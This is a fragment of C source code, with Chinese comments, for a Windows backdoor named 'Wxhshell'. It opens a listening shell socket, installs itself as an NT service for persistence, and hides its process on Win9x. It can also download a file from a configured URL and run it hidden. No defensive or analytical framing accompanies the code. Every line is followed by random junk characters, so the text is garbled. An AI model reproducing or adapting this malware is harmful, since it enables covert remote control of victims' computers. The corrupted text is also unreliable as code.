ULONG InheritedFromUniqueProcessId; H-WJp<_
} PROCESS_BASIC_INFORMATION; :8I9\eet3
9FoHD
PROCNTQSIP NtQueryInformationProcess; vGvf<ra;H
^/)^7\@
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; d^@ dzNv
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; I?]ohG K
@#<D ^"
HANDLE hProcess; Q`~jw>x
PROCESS_BASIC_INFORMATION pbi; ^pxX]G]
7X`l&7IXP
HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); ]99|KQ<s
if(NULL == hInst ) return 0; u6?Q3
bvI
XYjV.j\
g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); H
>j
g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); +j#+8Ze
NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); c7<wZ
u$h
4lIl
if (!NtQueryInformationProcess) return 0; QaS1Dh
x%s-+&
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); k@\ iGqo
if(!hProcess) return 0; cIUHa
\}+_Fo/
if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; EtJHR
:C7_Jp*Qv
CloseHandle(hProcess); LVX[uWEM
d<% z
1Dj2
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); B%"
d~5Y
if(hProcess==NULL) return 0; $}RJ,%~'x
bG 7O
HMODULE hMod; cq5jP Z}
char procName[255]; @>u]4Jn
unsigned long cbNeeded; \@WDV
l2`s! ,<>O
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); "K ~
k;2GEa]w
CloseHandle(hProcess); wZG\>9~
l-fi%Z7C
if(strstr(procName,"services")) return 1; // 以服务启动 5k!g%sZ
* ;-*x6
return 0; // 注册表启动 1uG"f<TsR
} "&%I)e^
0+iu(VbF
// 主模块 Y}x>t* I
int StartWxhshell(LPSTR lpCmdLine) 4^:\0UF
{ 4Z1ST;
SOCKET wsl; vY4\59]P
BOOL val=TRUE; R_(tjkT
int port=0; s&A}
h
struct sockaddr_in door; mi
ik%7>W
B,<da1(a
if(wscfg.ws_autoins) Install(); %9w::hav
C^3 <={
port=atoi(lpCmdLine); O#b6mKPt;t
0QFS
if(port<=0) port=wscfg.ws_port; zxMXXm;
^2+yHw
WSADATA data; p%#<D9S
if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; FFV `P
U}& 2k
if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1; 1jCLO}
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); `lQ3C{}
door.sin_family = AF_INET; $Oq^jUJ
door.sin_addr.s_addr = inet_addr("127.0.0.1"); PjZvQ\Z
door.sin_port = htons(port); ?<V?wsp
b$4"i XSQ
if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { XnDUa3
closesocket(wsl); K:!"+q
return 1; ~kQA7;`j$
} N2B|SO''
'U1R\86M
if(listen(wsl,2) == INVALID_SOCKET) { ADS9DiX/
closesocket(wsl); OSlvwH%(EE
return 1; M}d_I+
} ?/BqD;{?I
Wxhshell(wsl); wr5AG<%(
WSACleanup(); +s(HOq)b
prYs
$j
return 0; LISM ngQ.
./,/y"x
} lm!.W5-l
qo p^;~
// 以NT服务方式启动 D6%J\C13`
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) c0PIc^R(@
{ |*:'TKzNS
DWORD status = 0; TX$r`~
DWORD specificError = 0xfffffff; JM=JH
51`
GYJ80k|
serviceStatus.dwServiceType = SERVICE_WIN32; MJOz.=CbhR
serviceStatus.dwCurrentState = SERVICE_START_PENDING; ;hYS6
serviceStatus.dwControlsAccepted = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; 6;u$&&c(
serviceStatus.dwWin32ExitCode = 0; 3
N.~mR
serviceStatus.dwServiceSpecificExitCode = 0; '3_]Gu-D
serviceStatus.dwCheckPoint = 0; Ge2q%
serviceStatus.dwWaitHint = 0; *-MM<|Qt
O/,aJCe
hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); [p{#XwN
if (hServiceStatusHandle==0) return; s8wmCzB~
61.Brp.eP
status = GetLastError(); J!0DR4=Xi
if (status!=NO_ERROR) xgbJ2Mh
{ ^=T$&gD
serviceStatus.dwCurrentState = SERVICE_STOPPED; g,}_G3[j0m
serviceStatus.dwCheckPoint = 0; ^oVs+ vC
serviceStatus.dwWaitHint = 0; |s"nM<ZNZ
serviceStatus.dwWin32ExitCode = status; Nd`%5%'::
serviceStatus.dwServiceSpecificExitCode = specificError; plUZ"Tr
SetServiceStatus(hServiceStatusHandle, &serviceStatus); M\sN@+
return; ]+(6,ct&.
} [baiH|5>
!+1<E*NQ S
serviceStatus.dwCurrentState = SERVICE_RUNNING; Du`JaJI
serviceStatus.dwCheckPoint = 0; {)"iiJ
serviceStatus.dwWaitHint = 0; '>&^zgr
if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); } ~h3c|
} d
p2 F
#1`-*.u
// 处理NT服务事件,比如:启动、停止 >xF/Pl
VOID WINAPI NTServiceHandler(DWORD fdwControl) #N#'5w-G
{ FuVnk~gq
switch(fdwControl) v\!Be[ ?
{ Y]NSN-t
case SERVICE_CONTROL_STOP: \]%6|V
serviceStatus.dwWin32ExitCode = 0; qDv93
serviceStatus.dwCurrentState = SERVICE_STOPPED; 9F4Dm*_<
serviceStatus.dwCheckPoint = 0; <\Eh1[F
serviceStatus.dwWaitHint = 0; 'ixwD^x
{ {XNREjhm
SetServiceStatus(hServiceStatusHandle, &serviceStatus); )f}YW/'
} R<[qGt|L
return; :A1{ d?B
case SERVICE_CONTROL_PAUSE: Qy.w=80kf
serviceStatus.dwCurrentState = SERVICE_PAUSED; "5-^l.CKH
break; V^JV4 `o
case SERVICE_CONTROL_CONTINUE: N
F2/B#q
serviceStatus.dwCurrentState = SERVICE_RUNNING; S'A>2>
break; (5R?#vj
case SERVICE_CONTROL_INTERROGATE: +s,Qmmb7)
break; g6Q !8
}; 7N-w eX
SetServiceStatus(hServiceStatusHandle, &serviceStatus); Fz1_w$^
}
f#?fxUH~
h!&prYx
// 标准应用程序主函数 {U!8|(
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) .z
6fv
{ Q7R~{5r>W
ZT,B(#m
// 获取操作系统版本 T?
tG~
OsIsNt=GetOsVer(); ])L
A42|
GetModuleFileName(NULL,ExeFile,MAX_PATH); CZ(/=3,3n
& @s!<9$W
// 从命令行安装 KHgBo}6
if(strpbrk(lpCmdLine,"iI")) Install(); 4G$|Rx[{,
l7W 6qNB
// 下载执行文件 Pdt6nzfr
if(wscfg.ws_downexe) { ZkA U17f
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) &GlwC%$S
WinExec(wscfg.ws_filenam,SW_HIDE); U4gF(Q
} '@p['#\uI
v'VD0+3[H
if(!OsIsNt) { &z>e5_.
// 如果时win9x,隐藏进程并且设置为注册表启动 V>ieh2G(
HideProc(); ANJ$'3tg
StartWxhshell(lpCmdLine); '<rZm=48
} zRq-b`<7V
else 30XR
82P/
if(StartFromService()) sA'6ty
// 以服务方式启动 *8#i$w11M
StartServiceCtrlDispatcher(DispatchTable); %1O;fQL
else p$h4u_
// 普通方式启动 _h X]%
StartWxhshell(lpCmdLine); ;cPy1
>)spqu]
return 0; !OA]s%u
}